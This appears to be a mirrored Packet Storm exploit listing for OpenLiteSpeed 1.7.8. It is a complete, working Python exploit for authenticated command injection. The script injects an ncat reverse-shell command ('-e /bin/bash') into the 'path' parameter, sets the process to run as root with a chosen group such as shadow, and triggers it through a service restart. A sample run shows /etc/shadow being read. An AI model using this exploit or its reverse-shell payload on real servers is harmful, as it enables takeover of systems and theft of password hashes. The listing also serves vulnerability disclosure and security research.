Openlitespeed WebServer 1.7.8 Command Injection ≈ Packet Storm – Digitalmunition




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Published on February 12th, 2021 📆 | 7111 Views ⚑

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Openlitespeed WebServer 1.7.8 Command Injection ≈ Packet Storm

# Exploit Title: Openlitespeed WebServer 1.7.8 – Command Injection (Authenticated) (2)
# Date: 26/1/2021
# Exploit Author: Metin Yunus Kandemir
# Discovered by: cmOs – SunCSR
# Vendor Homepage: https://openlitespeed.org/
# Software Link: https://openlitespeed.org/kb/install-from-binary/
# Version: 1.7.8

import requests
import sys
import urllib3
from bs4 import BeautifulSoup

“””
Description:
The “path” parameter has command injection vulnerability that leads to escalate privilege.
OpenLiteSpeed (1.7.8) web server runs with user(nobody):group(nogroup) privilege. However, extUser and
extGroup parameters could be used to join a group (GID) such as shadow, sudo, etc.
Details: https://github.com/litespeedtech/openlitespeed/issues/217
Example:
Step-1:
[email protected]:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
Step-2:
[email protected]:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Step-3:
[email protected]:~/Desktop/exploits$ python3 openlitespeed.py 192.168.1.116:7080 admin MWE1ZmE2 shadow
[+] Authentication was successful!
[+] Version is detected: OpenLiteSpeed 1.7.8
[+] The target is vulnerable!
[+] tk value is obtained: 0.98296300 1612966522
[+] Sending reverse shell to 127.0.0.1:4444 …
[+] Triggering command execution…
Step-4:
[email protected]:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 54534 received!
cat /etc/shadow
root:!:18620:0:99999:7:::
daemon:*:17937:0:99999:7:::
bin:*:17937:0:99999:7:::
sys:*:17937:0:99999:7:::
sync:*:17937:0:99999:7:::
.
.
.
“””

def triggerCommandExec(target, s):
data = {“act” : “restart”}
trigger = s.post(“https://”+target+”/view/serviceMgr.php”, data = data, allow_redirects=False, verify=False)
if trigger.status_code == 200:
print(“[+] Triggering command execution…”)
else:
print(“[-] Someting went wrong!”)

def commandExec(tk, groupId, s, target):
data = {
“name” : “lsphp”,
“address” : “uds://tmp/lshttpd/lsphp.sock”,
“note” : “”,
“maxConns” : “10”,
“env” : “PHP_LSAPI_CHILDREN=10”,
“initTimeout” : “60”,
“retryTimeout” : “0”,
“persistConn” : “1”,
“pcKeepAliveTimeout” : “”,
“respBuffer” : “0”,
“autoStart” : “2”,
“path” : “/usr/bin/ncat -nv 127.0.0.1 4444 -e /bin/bash”,
“backlog” : “100”,
“instances” : “1”,
“extUser” : “root”,
“extGroup” : groupId ,
“umask” : “”,
“runOnStartUp” : “1”,
“extMaxIdleTime” : “”,
“priority” : “0”,
“memSoftLimit” : “2047M”,
“memHardLimit” : “2047M”,
“procSoftLimit” : “1400”,
“procHardLimit” : “”,
“a” : “s”,
“m” : “serv”,
“p” : “ext”,
“t” : “A_EXT_LSAPI”,
“r” : “lsphp”,
“tk” : tk
}
exec = s.post(“https://” + target + “/view/confMgr.php”, data = data, allow_redirects=False, verify=False)

if exec.status_code == 200:
if exec.text == “Illegal entry point!”:
print(“[-] tk value is incorrect!”)
sys.exit(1)
else:
print(“[+] Sending reverse shell to 127.0.0.1:4444 …”)
else:
print(“[-] Something went wrong!”)
sys.exit(1)

triggerCommandExec(target, s)

def loginReq(target, username, password, groupId):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
data = {“userid” : username , “pass” : password }
login = s.post(“https://” + target + “/login.php” , data = data, allow_redirects=False, verify=False)

if login.status_code == 302:
print(“[+] Authentication was successful!”)
elif login.status_code == 200:
print(“[-] Authentication was unsuccessful!”)
sys.exit(1)
else:
print(“[-] Connection error!”)
sys.exit(1)

version = s.get(“https://” + target + “/index.php”)
versionSource = BeautifulSoup(version.text, “html.parser”)
v = versionSource.find(‘div’, {‘class’:’project-context hidden-xs’}).text
print(“[+] Version is detected: OpenLiteSpeed %s” %(v.split()[2]))
if v.split()[2] == “1.7.8”:
print(“[+] The target is vulnerable!”)

#getting tk value
getTk = s.get(“https://” + target + “/view/confMgr.php?m=serv&p=ext”)
source = BeautifulSoup(getTk.text, ‘html.parser’)
tk = source.find(‘input’, {‘name’:’tk’}).get(‘value’)
print(“[+] tk value is obtained: “+tk)
commandExec(tk, groupId, s, target)

def main(args):
if len(args) != 5:
print(“usage: %s targetIp:port username password groupId ” %(args[0]))
print(“Example: python3 openlitespeed.py 192.168.1.116:7080 admin MWE1ZmE2 shadow”)
sys.exit(1)
loginReq(target=args[1], username=args[2], password=args[3], groupId=args[4])

if __name__ == “__main__”:
main(args=sys.argv)

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